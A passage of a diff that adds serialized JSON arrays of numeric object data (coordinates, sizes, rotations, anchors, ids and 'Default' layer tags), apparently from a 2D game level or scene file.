+ []
+ ],
+ 311,
+ 4068,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2985,
+ 1159,
+ 0,
+ 6106,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 4069,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052,
+ 1908,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 366,
+ 4070,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1339,
+ 1935,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 4071,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 985,
+ 1712,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 4072,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 976,
+ 1916,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 4073,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -648,
+ 69,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 4074,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -772,
+ 91,
+ 0,
+ 25,
+ 226,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 4075,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -528,
+ 85,
+ 0,
+ 26,
+ 218,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 4076,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -648,
+ 57,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 4077,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -669,
+ 73,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 4078,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -627,
+ 73,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 4079,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 4080,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 6024,
+ 1004,
+ 0,
+ 716,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 4081,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6193,
+ 1275,
+ 0,
+ 1058,
+ 261,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 4082,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -945,
+ 1538,
+ 0,
+ 212.0303955078125,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 383,
+ 4083,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -170,
+ 1625,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 4084,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -319,
+ 1646,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 4085,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8498.5,
+ 577,
+ 0,
+ 527,
+ 67,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4086,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8520.5,
+ 710,
+ 0,
+ 518,
+ 203,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4087,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6148.080078125,
+ 496.1255493164063,
+ 0,
+ 194,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 408,
+ 4088,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 395,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 488,
+ 4089,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 491,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 489,
+ 4090,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 490,
+ 4091,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 683,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 491,
+ 4092,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1579.5205078125,
+ 708.4993286132812,
+ 0,
+ 144,
+ 93,
+ 0,
+ -1.50925874710083,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4093,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 758,
+ 744,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4094,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1278,
+ 1724,
+ 0,
+ 91.7906494140625,
+ 48,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4095,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1275,
+ 1637,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 4096,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1674,
+ 1662,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4097,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5299,
+ 837,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4098,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5300,
+ 759,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4099,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5301,
+ 680,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4100,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5375,
+ 837,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4101,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5376,
+ 759,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4102,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5377,
+ 680,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4103,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -427,
+ 1256,
+ 0,
+ 157,
+ 21,
+ 0,
+ -0.574984073638916,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4104,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -673,
+ 1671,
+ 0,
+ 295.8233947753906,
+ 21,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4105,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1102,
+ 1639,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4106,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1131,
+ 1639,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4107,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -167,
+ 780,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4108,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1653.94970703125,
+ 584.4502563476562,
+ 0,
+ 144,
+ 93,
+ 0,
+ -1.50925874710083,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4109,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2212.47314453125,
+ 658.8027954101562,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4110,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4083.99267578125,
+ 816.4261474609375,
+ 0,
+ 144,
+ 93,
+ 0,
+ 1.877838969230652,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4111,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4186.09765625,
+ 714.3235473632812,
+ 0,
+ 144,
+ 93,
+ 0,
+ 1.877838969230652,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4112,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5296.4765625,
+ 1072.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4113,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5297.4765625,
+ 994.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4114,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5298.4765625,
+ 915.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4115,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5372.4765625,
+ 1072.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4116,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5373.4765625,
+ 994.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4117,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5374.4765625,
+ 915.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4118,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 757,
+ 861,
+ 0,
+ 150.1151123046875,
+ 142.4561767578125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 541,
+ 4119,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 1,
+ 10,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 0
+ ],
+ [
+ 1
+ ],
+ [
+ 200,
+ 1500,
+ 1500,
+ 650,
+ 1500,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2370.568603515625,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4122,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2399.388916015625,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4123,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2429.44580078125,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4124,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4829,
+ 671,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 4129,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.47314453125,
+ 530.917724609375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 4130,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3718.175048828125,
+ 530.917724609375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 4131,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12126159667969,
+ 873.7174072265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4133,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212615966797,
+ 873.7174072265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4134,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7083129882813,
+ 873.9495849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4135,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 873.9495849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4136,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12124633789063,
+ 968.417724609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4137,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212463378906,
+ 968.417724609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4138,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7082977294922,
+ 968.64990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4139,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 968.64990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4140,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402.8583374023438,
+ 1063.306518554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4141,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 494.8583374023438,
+ 1063.306518554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4142,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 586.4453735351562,
+ 1063.538696289063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4143,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 678.4453735351562,
+ 1063.538696289063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4144,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.17764282226563,
+ 1062.955322265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4145,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1776275634766,
+ 1062.955322265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4146,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7646636962891,
+ 1063.1875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4147,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7646789550781,
+ 1063.1875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4148,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 770.4392700195312,
+ 1064.014892578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4149,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 862.4392700195312,
+ 1064.014892578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4150,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 954.0263061523438,
+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4151,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1046.026245117188,
+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4152,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1137.534057617188,
+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4153,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 970.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4154,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 970.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4155,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 1064.288940429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4156,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 1064.288940429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
